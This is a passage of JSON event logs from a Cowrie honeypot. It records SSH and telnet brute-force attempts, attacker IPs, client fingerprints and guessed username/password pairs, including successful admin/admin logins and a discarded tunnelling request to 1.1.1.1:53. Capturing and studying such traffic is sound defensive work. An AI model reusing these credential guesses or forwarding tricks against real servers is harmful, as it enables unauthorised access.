m"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:30.080192Z","src_ip":"187.141.71.166","session":"7faec7e4bb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:30.594827Z","src_ip":"187.141.71.166","session":"7faec7e4bb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57206,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a32dc52708","protocol":"telnet","message":"New connection: 134.209.8.29:57206 (159.203.135.109:23) [session: 52a32dc52708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:31.484075Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:31.717509Z","src_ip":"187.141.71.166","session":"7faec7e4bb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f71d4721eb","protocol":"ssh","message":"New connection: 187.141.71.166:56160 (159.203.135.109:22) [session: a6f71d4721eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:31.829057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:31.836448Z","src_ip":"187.141.71.166","session":"a6f71d4721eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:31.954091Z","src_ip":"187.141.71.166","session":"a6f71d4721eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:32.453552Z","src_ip":"187.141.71.166","session":"a6f71d4721eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:32.574715Z","src_ip":"187.141.71.166","session":"a6f71d4721eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:32.579486Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":60334,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b1326f41304","protocol":"ssh","message":"New connection: 165.22.63.98:60334 (159.203.135.109:22) [session: 1b1326f41304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:46.911624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:46.922284Z","src_ip":"165.22.63.98","session":"1b1326f41304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:47.160147Z","src_ip":"165.22.63.98","session":"1b1326f41304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali123456","message":"login attempt [ali/ali123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:48.146476Z","src_ip":"165.22.63.98","session":"1b1326f41304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:49.386742Z","src_ip":"165.22.63.98","session":"1b1326f41304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52254,"dst_ip":"159.203.135.109","dst_port":23,"session":"764af4cd4410","protocol":"telnet","message":"New connection: 134.209.8.29:52254 (159.203.135.109:23) [session: 764af4cd4410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:19.819437Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":51306,"dst_ip":"159.203.135.109","dst_port":22,"session":"156f8e2e8ed4","protocol":"ssh","message":"New connection: 187.141.71.166:51306 (159.203.135.109:22) [session: 156f8e2e8ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:22.667399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:22.672260Z","src_ip":"187.141.71.166","session":"156f8e2e8ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:22.792445Z","src_ip":"187.141.71.166","session":"156f8e2e8ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234.","message":"login attempt [root/test1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:23.321651Z","src_ip":"187.141.71.166","session":"156f8e2e8ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:24.443802Z","src_ip":"187.141.71.166","session":"156f8e2e8ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":50006,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd036e00fad9","protocol":"ssh","message":"New connection: 165.22.63.98:50006 (159.203.135.109:22) [session: bd036e00fad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:47.270803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:47.275409Z","src_ip":"165.22.63.98","session":"bd036e00fad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:47.512543Z","src_ip":"165.22.63.98","session":"bd036e00fad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:48.491177Z","src_ip":"165.22.63.98","session":"bd036e00fad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:53:49.731547Z","src_ip":"165.22.63.98","session":"bd036e00fad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.13.33","src_port":35358,"dst_ip":"159.203.135.109","dst_port":23,"session":"37bf72369202","protocol":"telnet","message":"New connection: 201.77.13.33:35358 (159.203.135.109:23) [session: 37bf72369202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:03.272512Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37132,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6fa98718fc","protocol":"telnet","message":"New connection: 134.209.8.29:37132 (159.203.135.109:23) [session: ca6fa98718fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:15.131972Z"}
{"eventid":"cowrie.session.closed","duration":12.768856048583984,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:16.041239Z","src_ip":"201.77.13.33","session":"37bf72369202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":38530,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6489dbd9f68","protocol":"ssh","message":"New connection: 187.141.71.166:38530 (159.203.135.109:22) [session: f6489dbd9f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:18.372252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:18.376614Z","src_ip":"187.141.71.166","session":"f6489dbd9f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:18.496300Z","src_ip":"187.141.71.166","session":"f6489dbd9f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"admin123","message":"login attempt [server/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:19.004196Z","src_ip":"187.141.71.166","session":"f6489dbd9f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:20.126016Z","src_ip":"187.141.71.166","session":"f6489dbd9f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.62566089630127,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:25.757401Z","src_ip":"134.209.8.29","session":"ca6fa98718fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63550,"dst_ip":"10.17.0.5","dst_port":22,"session":"62f9fb8b5da6","protocol":"ssh","message":"New connection: 87.251.64.176:63550 (10.17.0.5:22) [session: 62f9fb8b5da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:26.527076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:26.536280Z","src_ip":"87.251.64.176","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:26.633321Z","src_ip":"87.251.64.176","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:26.924801Z","src_ip":"87.251.64.176","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:27.023009Z","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:27.120533Z","src_ip":"87.251.64.176","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:27.219269Z","src_ip":"87.251.64.176","session":"62f9fb8b5da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00270986557007,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:31.486668Z","src_ip":"134.209.8.29","session":"52a32dc52708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45222,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aacaaae4ad3","protocol":"telnet","message":"New connection: 134.209.8.29:45222 (159.203.135.109:23) [session: 8aacaaae4ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:36.605891Z"}
{"eventid":"cowrie.session.closed","duration":8.59760594367981,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:45.203373Z","src_ip":"134.209.8.29","session":"8aacaaae4ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":39676,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f4573b84e8","protocol":"ssh","message":"New connection: 165.22.63.98:39676 (159.203.135.109:22) [session: 29f4573b84e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:47.223066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:47.227797Z","src_ip":"165.22.63.98","session":"29f4573b84e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-